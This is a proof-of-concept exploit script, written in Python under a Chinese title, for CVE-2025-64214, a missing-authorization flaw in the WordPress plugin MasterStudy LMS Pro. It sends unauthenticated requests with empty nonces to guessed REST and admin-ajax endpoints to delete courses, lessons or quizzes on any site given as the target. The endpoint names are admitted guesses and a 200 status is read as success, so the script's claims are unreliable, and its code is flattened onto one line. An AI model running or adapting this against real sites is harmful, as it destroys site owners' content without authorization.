CVE-2025-64214 MasterStudy LMS Pro缺失授权漏洞导致任意内容删除

import requests import sys # CVE-2025-64214 PoC - Missing Authorization in MasterStudy LMS Pro # Target: WordPress site with MasterStudy LMS Pro < 4.7.16 TARGET_URL = "http://target-wordpress-site.com" # Replace with actual target URL def delete_content(content_id, content_type="course"): """ Exploit missing authorization vulnerability to delete arbitrary content without authentication """ # Common endpoints that may be vulnerable endpoints = [ f"{TARGET_URL}/wp-json/masterstudy/v1/{content_type}/delete", f"{TARGET_URL}/wp-admin/admin-ajax.php", ] for endpoint in endpoints: if "delete" in endpoint: # Direct delete endpoint data = { "id": content_id, "_wpnonce": "" # May not be required due to missing auth check } else: # AJAX endpoint data = { "action": "masterstudy_delete_content", "content_type": content_type, "content_id": content_id, "_wpnonce": "" } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if response.status_code == 200: print("[+] Potential successful exploitation!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] content_id = input("Enter content ID to delete: ") or "1" content_type = input("Enter content type (course/lesson/quiz): ") or "course" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Attempting to delete {content_type} with ID: {content_id}") delete_content(content_id, content_type)